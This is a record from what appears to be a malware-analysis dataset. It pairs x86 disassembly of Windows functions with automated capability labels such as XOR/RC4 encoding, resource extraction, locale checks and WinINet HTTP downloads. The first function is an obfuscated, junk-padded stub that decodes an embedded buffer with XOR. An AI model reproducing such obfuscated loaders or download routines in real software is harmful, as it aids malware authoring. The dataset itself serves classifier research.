joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ffe5383
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
push edx
cdq
pop edx
stc
push edx
cdq
pop edx
stc
add eax, 0
nop
push edx
cdq
pop edx
stc
and bh, 0xff
clc
and bh, 0xff
nop
and bh, 0xff
nop
and bh, 0xff
cld
add eax, 0
nop
lea esp, [esp]
nop
push edx
cdq
pop edx
stc
and bh, 0xff
stc
add eax, 0
nop
add eax, 0
nop
pushal
inc eax
popal
nop
lea esp, [esp]
cld
pushal
inc eax
popal
stc
push edx
cdq
pop edx
cld
and bh, 0xff
clc
add eax, 0
cld
push edx
cdq
pop edx
cld
add eax, 0
clc
add eax, 0
clc
add eax, 0
cld
lea esp, [esp]
cld
add eax, 0
stc
and bh, 0xff
cld
pushal
inc eax
popal
nop
push edx
cdq
pop edx
cld
pushal
inc eax
popal
clc
lea esp, [esp]
cld
pushal
inc eax
popal
clc
add eax, 0
nop
call 0x7ffe5412
pop edx
cld
xor dx, dx
stc
add eax, 0
add edx, 0xd5e0
push es
pop ds
nop
xor ecx, ecx
add eax, 0
mov cl, 0x1e
add eax, 0
push es
pop ds
cld
xor byte [ecx + edx], 0x44
loop 0x7ffe5431
clc
clc
stc
clc
push dword fs:[0x24]
add eax, 0
pop dword [edx + 0xa]
mov cl, 0xff
lea esp, [esp]
cld
push edx
loop 0x7ffe544e
push edx
cdq
pop edx
and al, 0xff
cld
mov dword [edx + 0x11], 0xffffacbb
cld
cld
nop
mov ecx, dword [eax + 0x2c]
pushal
inc eax
popal
cld
lea esp, [esp]
clc
mov dword [edx + 0x1b], ecx
push edx
cdq
pop edx
clc
push edx
cdq
pop edx
stc
nop
mov dword [edx + 0x100], ecx
cld
clc
nop
stc
mov dword [eax + 0x2c], esp
nop
and bh, 0xff
cld
lea esp, [esp]
clc
cld
push 0
cld
push edx
cdq
pop edx
clc
push 0
lea esp, [esp]
nop
push 0
push 0
clc
cld
push 0x30
add eax, 0
stc
lea esp, [esp]
nop
push 0x20
lea esp, [esp]
cld
push edx
cdq
pop edx
clc
push 0
nop
cld
push 0
push edx
cdq
pop edx
cld
and bh, 0xff
clc
nop
cld
add edx, 0xffff7f30
and bh, 0xff
cld
pushal
inc eax
popal
clc
stc
push edx
cld
push edx
cdq
pop edx
stc
inc esi
dec esi
nop
push edx
lea esp, [esp]
push 0
clc
add eax, 0
stc
lea esp, [esp]
nop
call dword [edx + 0x8213]
stc
add esp, 0x3f8
cld
nop
xor eax, eax
inc eax
stc
and bh, 0xff
nop
pushal
inc eax
popal
clc
ret 0xc
Function at 0x4026b0
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [0x4601e8]
push esi
movzx esi, word [esp + 0xc]
push 0
lea eax, [esp + 0x10]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
cmp dword [esp + 0xc], esi
pop esi
sete al
ret

Function at 0x4026e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
mov eax, dword [0x45edd8]
xor eax, esp
mov dword [esp + 0xc], eax
mov edx, dword [0x4601e8]
push 0
lea eax, [esp + 4]
push eax
push 1
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp], 1
jne 0x40272d
mov al, byte [esp + 4]
cmp al, byte [esp + 0x14]
jne 0x40272d
mov eax, 1
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.00412ccb
add esp, 0x10
ret
mov ecx, dword [esp + 0xc]
xor ecx, esp
xor eax, eax
call fcn.00412ccb
add esp, 0x10
ret

Function at 0x402740
Capabilities:
Read file on windows

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [0x4601e8]
push esi
movzx esi, word [esp + 0xc]
push 0
lea eax, [esp + 0x10]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [esp + 0xc], esi
pop esi
sete al
ret

Function at 0x402810
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402829
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402864
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402860
lea ebx, [ebx]
cmp esi, eax
jae 0x402864
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402850
cmp esi, eax
jb 0x40286a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40422b
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x45edd8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x4042c3
push 0x455394
push 4
push eax
call fcn.0041356a
push eax
call fcn.00402620
add esp, 0x10
push ebx
push edi
call fcn.00413635
mov edi, dword [eax]
call fcn.00413635
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00412f60
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.00413635
cmp dword [eax], ebx
je 0x4042da
call fcn.00413635
push dword [eax]
call fcn.004041a6
pop ecx
jmp 0x4042e1
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x40426e
jmp 0x404368
call fcn.00413635
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x404364
cmp dword [ebp - 0x234], esi
jae 0x404364
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.00413680
add esp, 0xc
push 0x4550f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x404353
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x404353
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x404353
push ebx
push ebx
push esi
jmp 0x40435c
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x404366
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00412ccb
leave
ret

Function at 0x40756c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x407590
cmp dword [edi + 0x54], 0
jne 0x407590
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0040d969
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040752d
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x40ccee
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40cd35
call fcn.0040d969
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40cd35
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40cd51
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040c866
mov esi, eax
test edi, edi
je 0x40cd4f
test ebx, ebx
je 0x40cd4f
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x412ccb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45edd8]
jne 0x412cd5
repz ret
jmp fcn.0041a6cc

Function at 0x41ddb0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00416575
and dword [ebp - 4], 0
cmp dword [0x462de0], 0
mov ebx, eax
jne 0x41de61
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41df12
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41df12
push eax
call fcn.00416503
mov dword [esp], 0x457a18
push edi
mov dword [0x462de0], eax
call esi
push eax
call fcn.00416503
mov dword [esp], 0x457a04
push edi
mov dword [0x462de4], eax
call esi
push eax
call fcn.00416503
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x462de8], eax
call esi
push eax
call fcn.00416503
pop ecx
mov dword [0x462df0], eax
test eax, eax
je 0x41de61
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00416503
pop ecx
mov dword [0x462dec], eax
mov eax, dword [0x462dec]
cmp eax, ebx
je 0x41deb9
cmp dword [0x462df0], ebx
je 0x41deb9
push eax
call fcn.0041657e
push dword [0x462df0]
mov esi, eax
call fcn.0041657e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41deb9
test edi, edi
je 0x41deb9
call esi
test eax, eax
je 0x41deb0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41deb0
test byte [ebp - 0xc], 1
jne 0x41deb9
or dword [ebp + 0x10], 0x200000
jmp 0x41def2
mov eax, dword [0x462de4]
cmp eax, ebx
je 0x41def2
push eax
call fcn.0041657e
pop ecx
test eax, eax
je 0x41def2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41def2
mov eax, dword [0x462de8]
cmp eax, ebx
je 0x41def2
push eax
call fcn.0041657e
pop ecx
test eax, eax
je 0x41def2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x462de0]
call fcn.0041657e
pop ecx
test eax, eax
je 0x41df12
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41df14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x42b4c6
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0042b545
jae 0x42b4d2
xor ecx, ecx
call fcn.0042b545
jae 0x42b4fc
xor eax, eax
call fcn.0042b545
jae 0x42b50d
mov al, 0x10
call fcn.0042b545
adc al, al
jae 0x42b4ee
jne 0x42b53a
stosb byte es:[edi], al
jmp 0x42b4d3
call fcn.0042b551
dec ecx
loop 0x42b519
mov eax, ebp
call fcn.0042b54f
jmp 0x42b53b
lodsb al, byte [esi]
shr eax, 1
je 0x42b561
adc ecx, 2
mov ebp, eax
jmp 0x42b53b
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0042b54f
cmp eax, 0x7d00
jae 0x42b539
cmp eax, 0x500
jae 0x42b53a
cmp eax, 0x7f
ja 0x42b53b
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x42b4d3
pop ebp
ret 8
Function at 0x4555f0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x14
mov eax, dword [ecx + 4]
push ebx
push ebp
push esi
test eax, eax
mov dword [esp + 0x18], ecx
je 0x45560a
lea ebx, [eax + eax]
mov dword [esp + 0xc], ebx
jmp 0x455616
mov dword [esp + 0xc], 0x800
mov ebx, dword [esp + 0xc]
lea esi, [ebx*4]
push esi
call fcn.0041ec00
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x45570d
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0x20], eax
mov ecx, dword [edi + 4]
test ecx, ecx
jle 0x4556fc
mov ecx, dword [edi]
mov esi, dword [ecx + eax*4]
test esi, esi
je 0x4556ec
mov ecx, dword [esi + 4]
mov edi, dword [esi + 0xc]
mov al, byte [ecx]
test al, al
jne 0x455677
xor eax, eax
jmp 0x4556cf
mov dl, al
inc al
inc ecx
mov bl, al
mov byte [esp + 0x14], dl
mov byte [esp + 0x18], bl
mov al, byte [ecx]
test al, al
je 0x4556c5
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
and eax, 0xff
and edx, 0xff
and ebx, 0xff
xor edx, eax
xor ebx, eax
mov al, byte [ecx + 1]
mov dl, byte [edx + 0x4cece0]
inc ecx
mov bl, byte [ebx + 0x4cece0]
mov byte [esp + 0x14], dl
test al, al
mov byte [esp + 0x18], bl
jne 0x45568c
xor eax, eax
mov ah, dl
mov al, bl
mov ebx, dword [esp + 0x10]
xor edx, edx
div ebx
test edi, edi
mov eax, dword [ebp + edx*4]
mov dword [esi + 0xc], eax
mov dword [ebp + edx*4], esi
mov esi, edi
jne 0x455667
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
mov ecx, dword [edi + 4]
inc eax
cmp eax, ecx
mov dword [esp + 0x20], eax
jl 0x45565a
mov ecx, dword [edi]
push ecx
call fcn.0041ec10
add esp, 4
mov dword [edi + 4], ebx
mov dword [edi], ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x455720
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
sub esp, 8
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, ecx
push edi
test ebp, ebp
mov dword [esp + 0x14], esi
jne 0x455741
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
cmp eax, ecx
jl 0x455763
mov ecx, esi
call fcn.004555f0
cmp dword [esi], 0
jne 0x455763
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
mov al, byte [ebp]
test al, al
jne 0x45576e
xor eax, eax
jmp 0x4557c4
mov dl, al
inc al
lea ecx, [ebp + 1]
mov bl, al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x10], bl
mov al, byte [ecx]
test al, al
je 0x4557be
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
and eax, 0xff
and edx, 0xff
and edi, 0xff
xor edx, eax
xor edi, eax
mov al, byte [ecx + 1]
mov dl, byte [edx + 0x4cece0]
inc ecx
mov bl, byte [edi + 0x4cece0]
mov byte [esp + 0x1c], dl
test al, al
mov byte [esp + 0x10], bl
jne 0x455785
xor eax, eax
mov ah, dl
mov al, bl
xor edx, edx
div dword [esi + 4]
mov eax, dword [esi]
mov edi, dword [eax + edx*4]
test edi, edi
lea ebx, [eax + edx*4]
je 0x455800
mov esi, dword [edi + 4]
mov eax, ebp
sub esi, ebp
movsx ecx, byte [esi + eax]
movsx edx, byte [eax]
inc eax
test ecx, ecx
je 0x4557ee
cmp ecx, edx
je 0x4557dc
jmp 0x4557f2
test edx, edx
je 0x455835
lea ebx, [edi + 0xc]
mov edi, dword [edi + 0xc]
test edi, edi
jne 0x4557d5
mov esi, dword [esp + 0x14]
mov ecx, dword [esi + 0xc]
add ecx, 0xcb0
call fcn.0041ea50
mov edi, dword [esp + 0x14]
mov esi, eax
mov ecx, esi
mov eax, dword [edi + 0xc]
push eax
push ebp
call fcn.00455950
mov dword [ebx], esi
mov eax, dword [edi + 8]
inc eax
mov dword [edi + 8], eax
mov eax, dword [ebx]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
mov eax, dword [ebx]
pop edi
pop esi
pop ebp
mov ecx, dword [eax]
pop ebx
mov edx, ecx
and ecx, 1
and edx, 0xfffffffe
add edx, 2
xor edx, ecx
mov dword [eax], edx
add esp, 8
ret 4
Function at 0x455860
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
test ebp, ebp
mov esi, ecx
je 0x455873
mov ecx, dword [ebp + 4]
jmp 0x455875
xor ecx, ecx
test ecx, ecx
je 0x455900
mov edi, dword [esi]
test edi, edi
je 0x455900
mov al, byte [ecx]
test al, al
jne 0x45588d
xor eax, eax
jmp 0x4558e3
mov dl, al
inc al
inc ecx
push ebx
mov bl, al
mov byte [esp + 0x18], dl
mov al, byte [ecx]
mov byte [esp + 0x10], bl
test al, al
je 0x4558dc
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
and eax, 0xff
and edx, 0xff
and ebx, 0xff
xor edx, eax
xor ebx, eax
mov al, byte [ecx + 1]
mov dl, byte [edx + 0x4cece0]
inc ecx
mov bl, byte [ebx + 0x4cece0]
mov byte [esp + 0x18], dl
test al, al
mov byte [esp + 0x10], bl
jne 0x4558a3
xor eax, eax
mov ah, dl
mov al, bl
pop ebx
xor edx, edx
div dword [esi + 4]
mov eax, dword [edi + edx*4]
test eax, eax
lea ecx, [edi + edx*4]
je 0x455900
cmp ebp, eax
je 0x455909
lea ecx, [eax + 0xc]
mov eax, dword [eax + 0xc]
test eax, eax
jne 0x4558f2
pop edi
pop esi
xor al, al
pop ebp
pop ecx
ret 4
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov dword [ecx], edx
mov ecx, ebp
call fcn.00455980
mov ecx, dword [esi + 0xc]
push ebp
add ecx, 0xcb0
call fcn.0041eaa0
mov eax, dword [esi + 8]
pop edi
dec eax
mov dword [esi + 8], eax
pop esi
mov al, 1
pop ebp
pop ecx
ret 4

Function at 0x455b70
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebp
mov ebp, ecx
push esi
push edi
mov edi, dword [ebp + 4]
xor esi, esi
mov al, byte [edi]
test al, al
je 0x455ba4
mov byte [esp + 0xc], al
mov ecx, dword [esp + 0xc]
and ecx, 0xff
mov dl, byte [ecx + 0x4c2368]
xor dl, al
cmp al, dl
jne 0x455ba4
mov al, byte [edi + esi + 1]
inc esi
test al, al
jne 0x455b81
cmp byte [edi + esi], 0
jne 0x455bb4
pop edi
mov dword [ebp + 8], ebp
mov eax, ebp
pop esi
pop ebp
pop ecx
ret
push edi
call fcn.0041c290
mov edi, eax
mov al, byte [edi + esi]
add esp, 4
lea ecx, [edi + esi]
test al, al
je 0x455be9
mov byte [esp + 0xc], al
mov edx, dword [esp + 0xc]
and edx, 0xff
mov dl, byte [edx + 0x4c2368]
xor dl, al
mov byte [ecx], dl
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x455bc9
mov eax, dword [ebp + 0x10]
push eax
push edi
call fcn.004559c0
add esp, 8
mov ecx, 0x4da3e8
mov dword [ebp + 8], eax
push edi
call fcn.0041e810
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebp
pop ecx
ret
Function at 0x47bcc0
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [0x4da620]
push esi
test eax, eax
push edi
jne 0x47bd5f
mov edi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ebx
push 0x8001
mov dword [0x4da620], 1
call edi
push str.imm32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
mov esi, eax
call edi
test esi, esi
pop ebx
je 0x47bd5f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ImmGetContext
push esi
call edi
test eax, eax
mov dword [0x4da624], eax
je 0x47bd5f
push str.ImmReleaseContext
push esi
call edi
test eax, eax
mov dword [0x4da628], eax
je 0x47bd5f
push str.ImmSetCompositionWindow
push esi
call edi
test eax, eax
mov dword [0x4da62c], eax
je 0x47bd5f
push str.ImmSetCompositionFontA
push esi
call edi
test eax, eax
mov dword [0x4da630], eax
je 0x47bd5f
push str.ImmGetCompositionStringW
push esi
call edi
mov dword [0x4da634], eax
mov dword [0x4da620], 2
pop edi
pop esi
ret

Function at 0x47ccd0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
lea eax, [esp]
push esi
push eax
mov esi, str.Windows
mov dword [esp + 8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
dec eax
je 0x47cd41
dec eax
jne 0x47cd5f
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x47cd2d
mov eax, dword [esp + 0xc]
cmp eax, 1
jne 0x47cd1a
mov esi, str.Windows_XP
mov eax, esi
pop esi
add esp, 0x94
ret
test eax, eax
jne 0x47cd5f
mov esi, str.Windows_2000
mov eax, esi
pop esi
add esp, 0x94
ret
cmp eax, 4
jne 0x47cd5f
mov esi, str.Windows_NT
mov eax, esi
pop esi
add esp, 0x94
ret
mov eax, dword [esp + 0xc]
test eax, eax
jbe 0x47cd58
mov esi, str.Windows_98_ME
mov eax, esi
pop esi
add esp, 0x94
ret
jne 0x47cd5f
mov esi, str.Windows_95
mov eax, esi
pop esi
add esp, 0x94
ret

Function at 0x47cd70
Capabilities:
Check os version
Identify system language via api

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x94
cmp eax, 7
push esi
jl 0x47ce25
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x47cdab
mov eax, dword [esp + 0x14]
cmp eax, 2
jne 0x47cdc2
cmp dword [esp + 8], 5
jae 0x47cdd5
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push eax
call fcn.0047ce40
add esp, 4
pop esi
add esp, 0x94
ret
cmp eax, 1
jne 0x47cdab
cmp dword [esp + 8], 4
jne 0x47cdab
cmp dword [esp + 0xc], 0x5a
jb 0x47cdab
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x47cdfd
push str.GetUserDefaultUILanguage
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x47ce07
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop esi
add esp, 0x94
ret
push edi
call eax
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call fcn.0047ce40
add esp, 4
pop edi
pop esi
add esp, 0x94
ret
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push eax
call fcn.0047ce40
add esp, 4
pop esi
add esp, 0x94
ret
Function at 0x47d4b0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x150
push esi
push edi
call fcn.00468630
mov edi, eax
xor esi, esi
cmp edi, esi
mov dword [esp + 0xc], edi
je 0x47d629
push ebx
push ebp
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
call fcn.0046e060
push 1
push esi
push edi
lea ecx, [esp + 0x2c]
call fcn.0046e140
mov edx, dword [0x4d27ac]
mov eax, dword [0x4d27a4]
mov ecx, dword [0x4d27a8]
mov edi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x38]
mov ebp, dword [esp + 0x44]
push esi
mov dword [esp + 0x5c], edx
push esi
mov dword [esp + 0x58], eax
mov eax, dword [0x4d27b0]
mov dword [esp + 0x5c], ecx
mov ecx, dword [0x4ce1bc]
push esi
lea edx, [esp + 0x5c]
push esi
push edx
mov dword [esp + 0x70], eax
mov dword [esp + 0x2c], ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push esi
push 3
push esi
push esi
push ebp
push edi
push eax
mov dword [esp + 0x3c], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push esi
push 0x84000000
push esi
mov ebp, eax
push esi
push str.HTTP_1.0
lea eax, [esp + 0x2c]
push ebx
push eax
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push esi
push esi
mov edi, eax
push esi
push esi
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x47d5cc
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x64]
push 0x100
push edx
push edi
call ebx
test eax, eax
je 0x47d5cc
cmp dword [esp + 0x10], esi
je 0x47d5cc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x60]
push eax
push 0x100
push ecx
push edi
call ebx
test eax, eax
jne 0x47d5b0
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp edi, esi
je 0x47d5d9
push edi
call ebx
cmp ebp, esi
je 0x47d5e0
push ebp
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, esi
je 0x47d5eb
push eax
call ebx
mov edx, dword [esp + 0x14]
mov ecx, 0x4da3e8
push edx
call fcn.0041e810
mov eax, dword [esp + 0x38]
mov ecx, 0x4da3e8
push eax
call fcn.0041e810
mov ecx, dword [esp + 0x2c]
push ecx
mov ecx, 0x4da3e8
call fcn.0041e810
mov edx, dword [esp + 0x20]
mov ecx, 0x4da3e8
push edx
call fcn.0041e810
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x150
ret

Function at 0x47da90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
ret